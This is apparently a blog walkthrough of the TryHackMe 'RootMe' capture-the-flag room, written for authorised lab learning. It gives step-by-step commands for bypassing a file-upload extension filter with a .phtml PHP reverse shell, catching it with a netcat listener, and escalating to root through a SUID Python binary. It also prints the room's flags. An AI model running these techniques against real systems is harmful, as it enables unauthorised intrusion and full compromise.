October 18, 2026

RootMe: TryHackMe Walkthrough

This time, we’re working on the RootMe room on TryHackMe. The objective is to gain initial access through a vulnerable file upload…

By Safeer Husain Zaidi

3 min read

This time, we're working on the RootMe room on TryHackMe. The objective is to gain initial access through a vulnerable file upload, retrieve the user flag, and escalate privileges to obtain the root flag.

The approach is straightforward: enumerate the target, upload a reverse shell, gain access, and exploit a misconfigured SUID binary.

Step 1: Setting Up the Environment

I launched the TryHackMe room, started the target machine, and obtained its IP address.

export IP=<TARGET_IP>

I checked connectivity and opened the target in my browser.

ping -c 4 "$IP"

Open http://<TARGET_IP> in your browser to inspect the website.

Step 2: Scanning Open Ports

I used Nmap to identify open ports and running services.

nmap -sC -sV -p- "$IP"

The scan revealed two open ports:

  • 22 — SSH
  • 80 — HTTP

The web server was running Apache 2.4.41, so I focused on the web application.

Step 3: Discovering Hidden Directories

Since Feroxbuster wasn't working as expected, I switched to Gobuster.

gobuster dir -u "http://$IP/" -w /usr/share/wordlists/dirb/common.txt

The scan revealed several directories, including:

  • /panel/
  • /uploads/
  • /css/
  • /js/

The /panel/ directory was particularly interesting because it contained a file-upload form.

Step 4: Investigating the Upload Functionality

I opened the following URL in my browser:

http://<TARGET_IP>/panel/

The page allowed files to be uploaded, but ordinary PHP files were rejected.

This suggested that the application was filtering file extensions rather than securely validating uploaded file contents.

I prepared a PHP reverse-shell file, configured it for my authorized lab environment, and saved it with a .phtml extension.

On Kali Linux, a PHP reverse-shell template may be available at:

ls /usr/share/webshells/php/

I copied the template into my working directory and edited it:

cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
nano shell.php

I configured the callback IP to match my attacking machine and selected port 4444.

To identify my lab interface's IP address, I used:

ip -4 addr show tun0

If you're using the TryHackMe AttackBox, check the active interface and use its reachable IP address instead.

After configuring the file, I saved it with the .phtml extension:

mv shell.php shell.phtml

I then uploaded shell.phtml through the web interface.

Step 5: Establishing the Reverse Shell

After uploading the file, I started a Netcat listener on my attacking machine.

nc -lvnp 4444

I then opened the uploaded file through the /uploads/ directory in the browser to trigger its execution.

http://<TARGET_IP>/uploads/shell.phtml

Once the callback connected, I obtained a shell as the web server user, typically www-data.

I checked my access:

whoami
id

Step 6: Stabilizing the Shell

The initial reverse shell was limited, so I attempted to spawn a more interactive Bash shell.

python -c 'import pty; pty.spawn("/bin/bash")'

If Python 3 is available instead, use:

python3 -c 'import pty; pty.spawn("/bin/bash")'

For a more usable terminal, I pressed Ctrl + Z to suspend the Netcat session temporarily, then ran the following commands on my attacking machine:

stty raw -echo
fg

After returning to the shell, I pressed Enter and configured the terminal:

export TERM=xterm

This made the shell easier to use for further enumeration.

Step 7: Finding the User Flag

With initial access established, I searched the filesystem for user.txt.

find / -type f -name user.txt 2>/dev/null

The file was located at:

/var/www/user.txt

I retrieved the first flag:

cat /var/www/user.txt

User flag:

THM{y0u_g0t_a_sh3ll}

Step 8: Enumerating SUID Binaries

The next objective was to obtain root privileges.

I searched for files with the SUID permission bit enabled:

find / -type f -perm -4000 2>/dev/null

SUID allows an executable to run with the effective privileges of its owner.

Among the results, I found a Python executable with SUID permissions.

Python should not normally have SUID enabled on a system where unprivileged users can execute arbitrary code through it. This misconfiguration provided a potential privilege-escalation path.

Step 9: Escalating Privileges Through Python

After identifying the SUID-enabled Python binary, I used it to spawn a shell while preserving the elevated effective user ID.

On this room, the executable may be available as /usr/bin/python.

/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

If the enumeration results show that the SUID-enabled executable is /usr/bin/python2.7 instead, use that exact path.

I verified the resulting privileges:

whoami
id

The output confirmed that I had obtained root access.

Step 10: Retrieving the Root Flag

With root access, I inspected the root directory.

ls -la /root

I then retrieved the final flag:

cat /root/root.txt

The root flag was:

THM{pr1v1l3g3_3sc4l4t10n}

This completed the RootMe room.

Key Takeaways

  • Reconnaissance: Nmap identified the exposed services.
  • Directory enumeration: Gobuster revealed the upload functionality.
  • File upload validation: Restricting extensions alone is not sufficient to secure file uploads.
  • Reverse shells: An improperly secured upload feature can provide access to the web server's operating-system account.
  • SUID misconfiguration: An interpreter with SUID enabled can allow privilege escalation to root.

Final Thoughts

This room demonstrates how two separate security weaknesses can lead to complete system compromise.

The file-upload functionality provided initial access, while the SUID-enabled Python executable allowed privilege escalation.

The main lesson is simple: secure file uploads and correctly configured permissions are essential for protecting a Linux system.

This walkthrough was performed in the TryHackMe lab environment for educational purposes. Only test systems you have authorization to assess.